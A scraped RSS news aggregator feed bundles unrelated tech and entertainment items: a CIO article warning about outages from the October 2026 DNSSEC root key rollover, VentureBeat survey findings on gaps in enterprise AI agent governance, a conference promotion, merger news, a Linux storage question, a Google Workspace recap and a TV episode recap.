


<h2 class="wp-block-heading">Agentic drives business process transformation</h2>



<p class="wp-block-paragraph">With the emergence of outcome-based pricing, organizations are taking a fresh look at how they measure the benefits of CRM systems. That conversation is leading to an even more important analysis of underlying business processes. Or, as Constellation’s Miller says, “The old adage of applying new technology to old processes only gets you more expensive old processes.”</p>



<p class="wp-block-paragraph">“When we survey customers, we hear time and time again that the reason why they want to apply AI into their organizations is to foster exponential opportunity and exponential growth,” she says. “How do we get there with CRM has started to become the new conversation.”</p>



<p class="wp-block-paragraph">According to Miller, AI systems breach the walls of siloed data and can take a fresh look at legacy workflows. They also don’t get sucked into turf wars between marketing and sales teams. As a result, they often recommend new actions that can lead to better processes. “I think it’s starting to happen. You’re starting to see applications where AI is beginning to accelerate decision-making and decision velocity,” she says.</p>



<p class="wp-block-paragraph">“The next phase of maturity is going to be, how do we start to spread AI across our platforms so that we are seeing that holistic end-to-end relationship that we have always wanted to optimize. How do we thread that across platforms and across solutions. We’re starting to see organizations on the leading edge really start to pull those strategies together,” says Miller.</p>
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<title><![CDATA[CIOs beware: DNS KSK rollover could kick off wave of mysterious outages]]></title>
<description><![CDATA[Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely...]]></description>
<link>https://tsecurity.de/de/3693085/it-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693085/it-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.</p>



<p class="wp-block-paragraph">That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/joshithak/">Sai Joshitha Kathari</a>, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.</p>



<p class="wp-block-paragraph">“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. </p>



<p class="wp-block-paragraph">The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. </p>



<p class="wp-block-paragraph">“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”</p>



<p class="wp-block-paragraph">Independent technology analyst <a href="https://www.linkedin.com/in/carmi/">Carmi Levy</a> says that CIOs need to take this event very seriously. </p>



<p class="wp-block-paragraph">“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”</p>



<p class="wp-block-paragraph">Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”</p>



<p class="wp-block-paragraph">The <a href="https://www.icann.org/resources/press-material/release-2026-05-20-en">DNSSEC update itself</a> is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. </p>



<p class="wp-block-paragraph">The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”</p>



<h2 class="wp-block-heading">Expect nearly every enterprise to be impacted</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kimdavies/">Kim Davies</a>, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. </p>



<p class="wp-block-paragraph">But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. </p>



<p class="wp-block-paragraph">“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”</p>



<p class="wp-block-paragraph">As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”</p>



<p class="wp-block-paragraph">Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”</p>



<p class="wp-block-paragraph">Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. </p>



<p class="wp-block-paragraph">“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.</p>



<p class="wp-block-paragraph">“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”</p>



<p class="wp-block-paragraph">“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”</p>



<p class="wp-block-paragraph">It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. </p>



<p class="wp-block-paragraph">“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” <a href="https://acceligence.com/talent/profiles/justin-greis/">Justin Greis</a>, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”</p>



<p class="wp-block-paragraph">Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. </p>



<h2 class="wp-block-heading">Potentially widespread fallout</h2>



<p class="wp-block-paragraph">A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. </p>



<p class="wp-block-paragraph">“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”</p>



<p class="wp-block-paragraph">Greis adds that many enterprises will discover in January problems created by their own automation.</p>



<p class="wp-block-paragraph">“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”</p>



<p class="wp-block-paragraph">The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/cricketliu/">Cricket Liu</a>, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.</p>



<p class="wp-block-paragraph">“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”</p>



<p class="wp-block-paragraph">Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. </p>



<h2 class="wp-block-heading">Impossible to predict what will happen</h2>



<p class="wp-block-paragraph">One of the top network experts on DNS effects in enterprises is <a href="https://blog.apnic.net/author/geoff-huston/">Geoff Huston</a>, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.</p>



<p class="wp-block-paragraph">Huston says it is difficult to project what will happen in January until it happens.</p>



<p class="wp-block-paragraph">“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.</p>



<p class="wp-block-paragraph">As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. </p>



<p class="wp-block-paragraph">“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”</p>



<p class="wp-block-paragraph">As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. </p>



<p class="wp-block-paragraph">“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”</p>
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<title><![CDATA[IT leaders: Leading-edge AI insights await at TechCrunch Disrupt]]></title>
<description><![CDATA[For CIOs, learning from the startup ecosystem has never been more critical.



As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, gro...]]></description>
<link>https://tsecurity.de/de/3693066/it-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693066/it-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/</guid>
<pubDate>Sat, 25 Jul 2026 05:51:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">For CIOs, learning from the startup ecosystem has never been more critical.</p>



<p class="wp-block-paragraph">As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, grow, and thrive in today’s AI-disrupted business environment.</p>



<p class="wp-block-paragraph">So why not immerse yourself in Silicon Valley’s most famous firehose of hyper-accelerated fail-fast and dream-big culture by <a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">registering for TechCrunch Disrupt 2026</a>?</p>



<p class="wp-block-paragraph">Three packed days of 200-plus sessions across six stages will spark new ideas for reshaping your AI strategy, provide fresh perspectives on the architectural, workflow, and resource decisions involved in moving AI from pilots to scale, and give you a sneak peek of business disruptions to come.</p>



<p class="wp-block-paragraph"><strong><a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">Get 10% off your TechCrunch Disrupt</a> pass with the exclusive code CIO10.</strong> </p>



<p class="wp-block-paragraph">This year’s <a href="https://techcrunch.com/events/techcrunch-disrupt/">TechCrunch Disrupt</a>, held Oct. 13-15 at San Francisco’s Moscone West, will feature big-picture conversations on what’s next in AI; discussions on how AI agents are rewriting SaaS, enterprise workflows, software pricing, and security; and demonstrations of AI’s future across robotics, manufacturing, defense, and industrial operations; and more.</p>



<p class="wp-block-paragraph">Over 10,000 attendees will hear from 250-plus startup founders, technology executives, and enterprise IT leaders about how the future of programming is being rewritten, what enterprise AI security requires, how startups are orchestrating workloads across models while managing cost and reliability at scale, why creating a safety culture is essential for AI deployment, and how startups are deciding what work humans should own versus what should be delegated to AI as they work to build hybrid teams without losing speed, accountability, or culture.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p class="wp-block-paragraph">And of course, the rising tide of enterprise-focused startups will be there seeking to bring agentic systems to your business workflows, as well as vendors familiar to your enterprise IT portfolios, such as AWS, Google, and Databricks, and enterprise IT colleagues creating mutually beneficial partnerships with the startup community, such as American Express.</p>



<p class="wp-block-paragraph">That’s not to mention TechCrunch Disrupt’s signature <a href="https://techcrunch.com/startup-battlefield/">Startup Battlefield</a>, in which 200 standout companies showcase their innovations to compete for a $100K equity-free prize. The battlefield will give CIOs a rapid-fire, broad view of what’s possible — and a possible early look at the next big enterprise player. After all, Dropbox, Trello, and Cloudflare, among others, roamed that same battlefield before the world knew their names.</p>



<p class="wp-block-paragraph">And with M&amp;A now an early-stage startup strategy for many from day one, TechCrunch Disrupt’s exhibition floor provides IT leaders not just an opportunity to discuss the nuts and bolts of innovation architecture or how an upstart product can enhance your workflows, but a chance to find your next innovation partner, or more.</p>



<p class="wp-block-paragraph">Leading-edge startups are figuring out how to make AI work at scale. Shouldn’t you be?</p>



<p class="wp-block-paragraph"><strong>Don’t miss your chance to experience TechCrunch Disrupt 2026. <a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">Book your pass today and use the exclusive code CIO10</a> to save 10% before prices increase.</strong></p>
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<title><![CDATA[The Best Office Chairs of 2026: These Advanced Models Offer Better Support Than Ever Before]]></title>
<description><![CDATA[We’ve tested dozens of office chairs across different body types and builds at CNET to help find you the best ones for your needs. Here are our picks.]]></description>
<link>https://tsecurity.de/de/3692807/it-nachrichten/the-best-office-chairs-of-2026-these-advanced-models-offer-better-support-than-ever-before/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692807/it-nachrichten/the-best-office-chairs-of-2026-these-advanced-models-offer-better-support-than-ever-before/</guid>
<pubDate>Sat, 25 Jul 2026 02:47:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We’ve tested dozens of office chairs across different body types and builds at CNET to help find you the best ones for your needs. Here are our picks.]]></content:encoded>
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<title><![CDATA[Paramount Agrees to Postpone Warner Bros. Merger Until June 2027]]></title>
<description><![CDATA[Paramount Skydance has agreed to postpone its $111 billion Warner Bros. Discovery merger until five days after an antitrust trial or June 1, 2027, whichever comes first. The agreement with a 12-state coalition led by California effectively shelves the deal for months while states argue it would r...]]></description>
<link>https://tsecurity.de/de/3692726/it-security-nachrichten/paramount-agrees-to-postpone-warner-bros-merger-until-june-2027/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692726/it-security-nachrichten/paramount-agrees-to-postpone-warner-bros-merger-until-june-2027/</guid>
<pubDate>Sat, 25 Jul 2026 01:07:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Paramount Skydance has agreed to postpone its $111 billion Warner Bros. Discovery merger until five days after an antitrust trial or June 1, 2027, whichever comes first. The agreement with a 12-state coalition led by California effectively shelves the deal for months while states argue it would reduce competition in cable and theatrical markets. Variety reports: Paramount had been keen to close the deal before Sept. 30, when it will begin to incur a $7-million-a-day "ticking fee" to be paid to Warner Bros. investors. The agreement is a tacit acknowledgement that that will not happen, barring a settlement with the states. Paramount previously sought a three-day hearing on the injunction motion in late August, hoping to win the judge's blessing to close the deal sometime in early September. But the states resisted that idea, saying they would need more time to take discovery and prepare for a full trial on the merits. The states were due to file their injunction motion on Thursday night, but held off as the two sides held discussions on a path forward. In a statement, the company said the agreement is a "significant win."
 
"Today's agreement is a significant win because the result is exactly what we have sought from the outset: a direct path to a trial based on the evidence," a Paramount spokesperson said. "This is the fastest and clearest way to prove that this transaction is good for competition, good for consumers, and good for creators, a conclusion dozens of competition authorities around the world have already reached. Plaintiffs' market definitions bear no relationship to the realities of today's marketplace and cannot withstand scrutiny. We look forward to proving our case at trial."
 
A hearing was scheduled for Aug. 3 in federal court in Oakland, at which point the two sides were expected to argue over the injunction motion. The two sides agreed to cancel that hearing. U.S. District Judge Araceli Martinez-Olguin approved the joint stipulation on Friday afternoon, about an hour after it was entered. The Writers Guild of America filed its own motion for an injunction earlier this week, which was also set to be heard on Aug. 3. That motion has been withdrawn, as Paramount has effectively conceded that it will not close the deal until a determination of the merits of the antitrust claims. The parties also agreed to submit a joint stipulation by July 31 on their respective positions on trial scheduling. The states previously proposed to hold the trial in April 2027.<p></p><div class="share_submission">
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</div><p><a href="https://yro.slashdot.org/story/26/07/24/2235232/paramount-agrees-to-postpone-warner-bros-merger-until-june-2027?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Is exFAT feasible for internal ssd long term ?]]></title>
<description><![CDATA[Dual booting win/linux for a while now (dedicated ssd per OS). And I need some shared storage so I've been using ntfs for 2 storage ssd's but it's been a huge headache as the linux/win combination constantly corrupts the ntfs file system and I end up with a ton of issues on linux, always having t...]]></description>
<link>https://tsecurity.de/de/3692666/linux-tipps/is-exfat-feasible-for-internal-ssd-long-term/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692666/linux-tipps/is-exfat-feasible-for-internal-ssd-long-term/</guid>
<pubDate>Sat, 25 Jul 2026 00:11:38 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Dual booting win/linux for a while now (dedicated ssd per OS). And I need some shared storage so I've been using ntfs for 2 storage ssd's but it's been a huge headache as the linux/win combination constantly corrupts the ntfs file system and I end up with a ton of issues on linux, always having to repair it in windows. </p> <p>I already do full shutdowns on windows (even started disconnecting the drives from the windows partition manager before shutdown), it doesn't seem to help (i'm suspecting that linux itself corrupts the file system sometimes). </p> <p>So I'm thinking of switching to using exfat but I've not been able to find much on how feasible that is to use on internal drives. Anyone have any experience with this ? </p> <p>Of note - the data is not that critical as to warrant a high degree of reliability, but at the same time if exfat presents known issues, same or worse as ntfs, it doesn't make sense to switch.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/kepler2"> /u/kepler2 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v5dpw3/is_exfat_feasible_for_internal_ssd_long_term/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v5dpw3/is_exfat_feasible_for_internal_ssd_long_term/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[VentureBeat Research: Where enterprise AI agent governance hasn't caught up]]></title>
<description><![CDATA[Enterprises deployed AI agents ahead of the controls needed to manage them — and they did it knowingly. That is the central finding across the five parallel surveys VentureBeat Research fielded in June, spanning every layer of the agentic stack. Now those enterprises are retrofitting to catch up ...]]></description>
<link>https://tsecurity.de/de/3692498/it-nachrichten/venturebeat-research-where-enterprise-ai-agent-governance-hasnt-caught-up/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692498/it-nachrichten/venturebeat-research-where-enterprise-ai-agent-governance-hasnt-caught-up/</guid>
<pubDate>Fri, 24 Jul 2026 22:51:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprises deployed AI agents ahead of the controls needed to manage them — and they did it knowingly. That is the central finding across the five parallel surveys VentureBeat Research fielded in June, spanning every layer of the agentic stack. Now those enterprises are retrofitting to catch up with their own standards, and they are budgeting for it: In each of the five control layers we measured, 57 to 68% of enterprises plan to switch vendors or add new ones within 12 months, and roughly a third, depending on the layer, plan to move within the quarter.</p><p><a href="https://venturebeat.com/category/resources">VentureBeat Research</a> measured the five controls an enterprise has to build before it can trust an agent: identity, evaluation, cost telemetry, the context layer, and orchestration. Identity governs which agent is allowed to do what, under whose credentials. Evaluation determines whether the agent's work is any good. Cost telemetry tracks what each agent costs to run. The context layer supplies the business data and definitions agents draw on when they answer. And the orchestration control plane coordinates multi-step agent work. Each of our five reports measures one of those controls.</p><p><b>Most deployed "agents" are chatbots wearing the label.</b> Seventy-one percent of enterprises said a quarter or fewer of their deployed "agents" can complete multi-step work on their own; only 10% said true agents are the majority of what they run. These respondents are positioned to know: 81% recommend or decide AI purchases at their companies. A single-prompt chatbot with a human reading every answer needs none of the controls the other four reports measure. A true multi-step agent needs all of them — and most enterprises can't say which one they've deployed. <i>(Full findings: </i><a href="https://venturebeat.com/resources/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents"><i>Agentic Orchestration report.</i></a><i>)</i></p><p><b>Autonomy is outrunning trust in the evaluations that gate it.</b> Two-thirds of enterprises either already allow an agent to push a code or system change to production on automated evaluation results alone, with no human review, or are actively engineering toward that within 12 months. Only 5% fully trust the evaluations that would make that call — and half of enterprises shipped an agent that passed internal evaluations and then caused a customer-facing failure in the past year. Before removing human review from any workflow, test evaluations against production outcomes rather than internal benchmarks. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway"><i>Agent Reliability &amp; Evals report</i></a><i>.)</i></p><p><b>Companies that let agents share credentials get hit more often.</b> Sixty-nine percent of companies let at least some of their agents share credentials — multiple agents operating under one API key or service account. Organizations that allow credential sharing anywhere experienced a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (nine of 22) at companies where every agent has its own scoped identity. The fix is scoped identity for every agent, starting with the ones that touch production systems. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials"><i>Agentic Security &amp; Identity report</i></a><i>.)</i></p><p><b>The most expensive hardware in the building runs at half capacity or less.</b> More than eight in 10 enterprises that run their own GPUs reported utilization of 50% or less, and only 44% rigorously track what their AI compute actually costs and returns. The number worth chasing first isn't more GPUs — it's the utilization and per-workload cost of the ones already running. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs"><i>AI Infrastructure &amp; Compute report</i></a><i>.)</i></p><p><b>Agents answer confidently from data nobody governs.</b> Fifty-seven percent of enterprises traced a confident, wrong agent answer in the past six months to their own missing or inconsistent business context — wrong metrics, stale definitions, absent documents — and most saw it happen more than once. Governing the definitions agents answer from — metrics and entities first — has to come before scaling the agents that depend on them. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix"><i>Context Layers / RAG report</i></a><i>.)</i></p><p>No layer has an entrenched incumbent: The defaults today are the built-in tools that ship with the big AI platforms enterprises already use. Switching intent runs highest in orchestration itself, where 68% plan to adopt, add, or replace platforms within 12 months and 34% within the quarter. Our surveys did not ask which direction that money moves — toward the platforms' built-in tools or toward the specialists challenging them — and that open question is the next four quarters of this market.</p><hr><p><b>About this research</b> </p><p><a href="https://venturebeat.com/category/resources">VentureBeat Research</a> fielded five parallel surveys in June 2026 under its VB Pulse program: Agentic Orchestration (101 respondents), Agent Reliability &amp; Evals (157), Agentic Security &amp; Identity (107), AI Infrastructure &amp; Compute (107), and Context Layers / RAG (101) — 573 qualified respondents in total, all at organizations with 100 or more employees. Samples are self-selected, and some findings should be read directionally; each report carries its full methodology note. What the pattern supports more strongly than any single percentage is the direction: every survey, independently, points the same way. VentureBeat produces both this research and <a href="https://venturebeat.com/vbtransform2026">VB Transform</a>, the conference where these reports debuted.</p>]]></content:encoded>
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<title><![CDATA[Google Workspace Weekly Recap - July 24, 2026]]></title>
<description><![CDATA[Import and create combo charts in Google SheetsGoogle Sheets now offers enhanced support for combo charts, providing a more seamless experience when creating multi-series visualizations. | Learn more.A centralized hub for meeting resources on the new Google Meet homepageFinding the right notes or...]]></description>
<link>https://tsecurity.de/de/3692423/web-tipps/google-workspace-weekly-recap-july-24-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692423/web-tipps/google-workspace-weekly-recap-july-24-2026/</guid>
<pubDate>Fri, 24 Jul 2026 21:50:50 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Import and create combo charts in Google Sheets</h3><p>Google Sheets now offers enhanced support for combo charts, providing a more seamless experience when creating multi-series visualizations. | <a href="https://workspaceupdates.googleblog.com/2026/07/import-and-create-combo-charts-in-Google-Sheets.html" target="_blank">Learn more</a>.</p><h3>A centralized hub for meeting resources on the new Google Meet homepage</h3><p>Finding the right notes or attachments for a meeting shouldn't feel like a scavenger hunt. We’re introducing a revamped Google Meet homepage on the web to help you stay organized and prepared throughout your entire meeting workflow. | <a href="https://workspaceupdates.googleblog.com/2026/07/a-centralized-hub-for-meeting-resources-on-the-new-Google-Meet-homepage.html" target="_blank">Learn more</a>.</p><h3>Redesigned Google Classroom homepage with tailored views based on user’s role</h3><p>Soon, Google Classroom will introduce a redesigned homepage globally across all editions to help teachers, students, and administrators easily find relevant content, resources, and tools tailored to their specific roles. | <a href="https://workspaceupdates.googleblog.com/2026/07/redesigned-google-classroom-homepage-with-tailored-views-based-on-users-role.html" target="_blank">Learn more</a>.</p><h3>Gemini Alpha is now Gemini Beta</h3><p>We’re updating the name of the Gemini Alpha program to "Gemini Beta." This new name more accurately reflects both the scale and the quality of the features that enter this launch stage. Please note that this is solely a branding change. This update does not alter any customer configurations, data privacy constraints, or pricing tiers. | <a href="https://workspaceupdates.googleblog.com/2026/07/gemini-alpha-is-now-gemini-beta.html" target="_blank">Learn more</a>.</p><h3>Google Meet now organizes your meeting notes, transcripts, and recordings in your Google Drive</h3><p>We’re making it easier for users to find meeting notes, transcripts and recordings in Google Drive. | <a href="https://workspaceupdates.googleblog.com/2026/07/google-meet-now-organizes-your-meeting-notes-transcripts-and-recordings-in-your-Google-Drive.html" target="_blank">Learn more</a>.</p><h3>View supporting calendar delegates in meeting guest list</h3><p>When viewing a guest list in Google Calendar on the web, you will now see a new icon next to leaders who have a calendar delegate assisting them with scheduling support. Hovering over the icon will display the person’s information, allowing you to easily initiate a chat with them directly. | <a href="https://workspaceupdates.googleblog.com/2026/07/view-supporting-calendar-delegates-in-meeting-guest-list.html" target="_blank">Learn more</a>.</p><p><span>The announcements above were published on the Workspace Updates blog over the last week. Please refer to the original blog posts for complete details.</span></p>]]></content:encoded>
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<title><![CDATA[‘Sugar’ Season 2, Episode 6 Recap: John Sugar Faces His Darkest Choice Yet]]></title>
<description><![CDATA[Sugar Season 2, Episode 6 pushes John Sugar deeper into a dangerous conspiracy as Vega closes in on Ji Moon and refuses to leave any witnesses behind.




Episode title: “Cautionary Tale”



Release date: July 24, 2026



Genre: Crime drama, mystery, neo-noir and science fiction



Season length:...]]></description>
<link>https://tsecurity.de/de/3692419/ios-mac-os/sugar-season-2-episode-6-recap-john-sugar-faces-his-darkest-choice-yet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692419/ios-mac-os/sugar-season-2-episode-6-recap-john-sugar-faces-his-darkest-choice-yet/</guid>
<pubDate>Fri, 24 Jul 2026 21:47:51 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sugar Season 2, Episode 6 pushes John Sugar deeper into a dangerous conspiracy as Vega closes in on Ji Moon and refuses to leave any witnesses behind.




Episode title: “Cautionary Tale”



Release date: July 24, 2026



Genre: Crime drama, mystery, neo-noir and science fiction



Season length: Eight episodes



Season finale: August 7, 2026




Spoiler warning



The following section contains major spoilers from Sugar Season 2, Episode 6.



Sugar learns the truth about Operation Fire Sale



After hiding Ji Moon in a rehabilitation facility and arranging a fake death certificate, Sugar continues investigating the operation connected to Vega. He discovers that the conspiracy, known as Operation Fire Sale, extends far beyond the local drug trade.



The people behind the scheme plan to flood selected neighborhoods with cheap fentanyl. Once overdose deaths increase, someone inside the city alters the official records, allowing the victims to disappear from government systems. The group can then exploit housing grants and properties connected to those missing residents.



Sugar finally has evidence linking Vega to the operation. However, possessing the evidence does not immediately solve his problem because Vega remains determined to find Ji and silence him permanently.



Who is Peg Rosenthal?



The episode opens with a flashback from 11 years earlier, revealing the identity of the woman who has appeared in Sugar’s visions throughout the season.



